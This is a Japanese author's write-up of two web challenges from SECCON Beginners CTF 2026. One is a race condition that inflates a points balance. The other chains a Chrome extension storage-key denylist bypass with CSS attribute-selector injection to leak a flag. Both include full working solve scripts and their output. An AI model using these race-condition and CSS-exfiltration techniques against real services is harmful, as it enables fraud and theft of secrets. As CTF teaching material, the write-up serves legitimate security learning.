SECCON Beginners CTF 2026 web writeups
SECCON Beginners CTF 2026 で、web の shopping と review4b を作問しました。
shopping
問題文は「クーポン引換をして、豪華賞品を手に入れよう!」で、難易度は medium でした。
アプリは Flask + SQLite で、起動時に 70 ポイント分のクーポンが 1 つ登録されます。
payload = json.dumps({
"wallet": {"delta": 70},
"event": {"name": "offer.applied"},
"document": {"template": "coupon-credit"},
})
conn.execute(
"INSERT OR IGNORE INTO offers (code, payload) VALUES (?, ?)",
("SPECIAL_VOUCHER_FOR_CTF4B", payload),
)
一方で、flag の価格は 260 ポイントです。
def quote_price(item: str):
if item == "flag":
return 260
if item == "secret":
return 50
クーポン自体は customer_events の UNIQUE(name, topic, principal) により、同一ユーザーでは 1 回しか登録できません。
UNIQUE(name, topic, principal)
ポイント反映は /support/statement で行われます。この処理では未適用イベントを claim し、wallet に加算してからイベントを close します。
balance = post_ledger_adjustment(conn, user_id, int(metadata["delta"]))
update_loyalty_profile(conn, user_id, balance)
close_statement_ticket(conn, int(event["id"]), token, metadata)
ここで close_statement_ticket の成否が見られていないのがポイントです。claim_statement_ticket の lock は短い lease を持つため、複数の /support/statement を少しずつずらして並列に叩くと、前の処理が終わる前に次の処理が同じイベントを再 claim できます。古い token の close は失敗しますが、加算処理はすでに走っています。
その結果、一時的に wallet cache / DB 上の残高を 70, 140, 210, 280... と増やせます。ただし audit が後から canonical_wallet_balance で正しい残高に戻すので、短い window で /cart/quote を取る必要があります。
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
futures = [
executor.submit(post_statement, i, cookies, interval)
for i in range(workers)
]
for future in concurrent.futures.as_completed(futures):
_, balance = future.result()
if balance < 260:
continue
quote = post_quote(cookies)
/cart/quote は balance が足りている時だけ署名付き quote を返します。/exchange は flag の場合、追加の減算なしで quote を検証して flag を返します。
if item == "flag":
if wants_json():
return jsonify({"ok": True, "flag": FLAG})
return FLAG
まとめると、redeem -> /support/statement を並列実行 -> 残高が 260 以上に見えた瞬間に quote -> /exchange で解けます。解法スクリプトは以下です。
import concurrent.futures
import sys
import time
import requests
TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8000"
CODE = "SPECIAL_VOUCHER_FOR_CTF4B"
def post_statement(worker_id: int, cookies, interval: float):
time.sleep(worker_id * interval)
try:
r = requests.post(
f"{TARGET}/support/statement",
cookies=cookies,
timeout=10,
headers={"Accept": "application/json", "X-Worker": str(worker_id)},
)
data = r.json()
return r.status_code, int(data.get("balance", 0))
except Exception:
return 0, 0
def post_quote(cookies):
try:
r = requests.post(
f"{TARGET}/cart/quote",
cookies=cookies,
timeout=10,
headers={"Accept": "application/json"},
)
data = r.json()
return data.get("quote")
except Exception:
return None
def attempt(interval: float, quote_delay: float, workers: int = 8):
session = requests.Session()
session.get(TARGET, timeout=10)
r = session.post(f"{TARGET}/redeem", json={"code": CODE}, timeout=10)
if r.status_code not in (200, 202):
return False, f"redeem failed: {r.status_code} {r.text[:120]}"
cookies = session.cookies.get_dict()
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
futures = [
executor.submit(post_statement, i, cookies, interval)
for i in range(workers)
]
deadline = time.time() + quote_delay
for future in concurrent.futures.as_completed(futures):
_, balance = future.result()
if balance < 260:
continue
while time.time() < deadline:
quote = post_quote(cookies)
if quote:
r = session.post(
f"{TARGET}/exchange",
json={"quote": quote},
timeout=10,
)
if r.status_code == 200:
return True, r.text
time.sleep(0.03)
return False, "no quote"
def main():
candidates = [
(0.095, 3.00),
(0.105, 3.00),
(0.115, 3.00),
(0.125, 3.00),
(0.145, 3.00),
(0.165, 3.00),
(0.190, 3.00),
(0.215, 3.00),
] * 2
for interval, quote_delay in candidates:
ok, body = attempt(interval, quote_delay)
print(f"interval={interval:.3f} quote_delay={quote_delay:.2f} ok={ok} body={body[:160]}")
if ok:
return
if __name__ == "__main__":
main()
実行すると、タイミングが合った試行で flag が返ります。
$ python3 solve.py http://localhost:8000
interval=0.095 quote_delay=3.00 ok=False body=no quote
interval=0.105 quote_delay=3.00 ok=False body=no quote
interval=0.115 quote_delay=3.00 ok=True body={"ok":true,"flag":"ctf4b{Th4nk_y0u_f0r_y0ur_pur<ha5e}"}
review4b
問題文は「レビューは大変なので、拡張機能を作りました!」で、難易度は hard でした。
レビュー用ノート投稿サービスで、admin bot は Chrome 拡張機能 review4b を入れたブラウザで /notes/:id を確認します。
ノートページは CSP が強く、JavaScript は実行できません。
function noteCsp() {
return [
"default-src 'self'",
"script-src 'none'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self'",
"connect-src 'none'",
].join("; ");
}
ここで JavaScript は止められていますが、CSS はユーザーが投稿できます。/notes は html と css をそのまま保存し、/notes/:id では保存済み CSS を NOTE_CSS としてテンプレートへ差し込みます。
const html = getBodyField(req, "html");
const css = getBodyField(req, "css");
await saveNote({
id,
html,
css,
updatedAt: new Date().toISOString()
});
<style>
{{NOTE_CSS}}
</style>
</head>
<body>
{{NOTE_HTML}}
</body>
つまり、この問題では「ページ上で任意 JavaScript は実行できないが、任意 CSS は注入できる」という状態になります。以降の leak はこの CSS injection を使います。
一方で content script は、ページ内の data-review4b 属性を Base64 encoded JSON として解釈し、background に送ります。その返答は同じ要素の data-review4b-result に書き込まれます。
const elements = document.querySelectorAll("[data-review4b]");
for (const el of elements) {
const encoded = el.getAttribute("data-review4b");
const msg = JSON.parse(atob(encoded));
const response = await chrome.runtime.sendMessage(msg);
el.setAttribute("data-review4b-result", JSON.stringify(response));
}
background 側には settings.get があり、flag や secret を含む key は拒否されます。
const keys = Object.prototype.hasOwnProperty.call(msg, "keys")
? msg.keys
: DEFAULT_PUBLIC_KEYS;
if (String(keys).includes("flag") || String(keys).includes("secret")) {
throw new Error("blocked key");
}
const result = await chrome.storage.local.get(keys);
しかし WebExtensions の StorageArea.get() は、keys に null または undefined を渡すとストレージ全体を取得します。つまり chrome.storage.local.get(null) は flag を含む全 key を返します。String(null) は "null" なので denylist にも引っかかりません。
{"cmd":"settings.get","keys":null}
これで data-review4b-result には flag を含む JSON が入ります。CSP により JavaScript では読めませんが、CSS attribute selector は使えます。
また、この問題には CSS からの観測をしやすくするための endpoint として /leak/:id と /leaks/:id を用意しています。/leak/:id はアクセスされたときの query string を保存して 204 No Content を返し、/leaks/:id は保存された query string の一覧を返します。
app.get("/leak/:id", async (req, res, next) => {
const { id } = req.params;
assertValidId(id);
await appendLeak(id, {
at: new Date().toISOString(),
query: req.url.includes("?") ? req.url.slice(req.url.indexOf("?") + 1) : "",
ip: req.ip
});
res.setHeader("Cache-Control", "no-store");
res.status(204).end();
});
app.get("/leaks/:id", async (req, res, next) => {
const { id } = req.params;
assertValidId(id);
const entries = await getLeaks(id);
res.type("text").send(entries.map((entry) => {
return `[${new Date(entry.at).toISOString()}] ${entry.query}`;
}).join("\n") + (entries.length ? "\n" : ""));
});
そのため、属性値に特定 prefix が含まれるときだけ /leak/:id に画像リクエストを飛ばせば、/leaks/:id でどの候補が当たったかを確認できます。
#probe[data-review4b-result*="ctf4b{a"] {
background-image: url("/leak/NOTE_ID?r=1&v=a");
}
solver は候補文字ごとに CSS を生成し、admin に report して、/leaks/:id を見ることで当たった文字を prefix に追加します。これを } が出るまで繰り返すと flag を復元できます。解法スクリプトは以下です。
import base64
import json
import sys
import time
import urllib.parse
import requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-!*#$%&()+,./:;<=>?@[]^`|~"
CHUNK_SIZE = 20
def b64json(obj):
return base64.b64encode(json.dumps(obj, separators=(",", ":")).encode()).decode()
def css_escape(value):
return value.replace("\\", "\\\\").replace('"', '\\"')
def chunks(value, size):
for i in range(0, len(value), size):
yield value[i:i + size]
def build_css(note_id, prefix, candidates, round_id):
css = "#probe{display:block;width:1px;height:1px}\n"
for c in candidates:
guess = css_escape(prefix + c)
leaked = urllib.parse.quote(c, safe="")
css += (
f'#probe[data-review4b-result*="{guess}"]'
f'{{background-image:url("/leak/{note_id}?r={round_id}&v={leaked}")}}\n'
)
return css
def main():
session = requests.Session()
payload = b64json({"cmd": "settings.get", "keys": None})
html = f'<div id="probe" data-review4b="{payload}"></div>'
created = session.post(
f"{BASE}/notes",
data={"html": html, "css": "#probe{display:block;width:1px;height:1px}", "json": "1"},
timeout=10,
)
created.raise_for_status()
note_id = created.json()["id"]
print(f"note: {note_id}")
prefix = "ctf4b{"
round_id = 0
while not prefix.endswith("}"):
found = None
for candidates in chunks(ALPHABET, CHUNK_SIZE):
round_id += 1
css = build_css(note_id, prefix, candidates, round_id)
updated = session.post(
f"{BASE}/notes",
data={"id": note_id, "html": html, "css": css, "json": "1"},
timeout=10,
)
updated.raise_for_status()
reported = session.post(f"{BASE}/report/{note_id}", data={"json": "1"}, timeout=20)
reported.raise_for_status()
time.sleep(0.2)
leaks = session.get(f"{BASE}/leaks/{note_id}", timeout=10).text
for c in candidates:
leaked = urllib.parse.quote(c, safe="")
if f"r={round_id}&v={leaked}" in leaks:
found = c
break
if found is not None:
break
if found is None:
raise RuntimeError(f"no leak for prefix {prefix!r}")
prefix += found
print(prefix)
if __name__ == "__main__":
main()
実行すると、当たった文字が 1 文字ずつ追加されていきます。
$ python3 solve.py http://localhost:3000
note: 7f6d9b2a
ctf4b{e
ctf4b{ex
ctf4b{ex7
...
ctf4b{ex7enti0n_c4nt_check_nu11}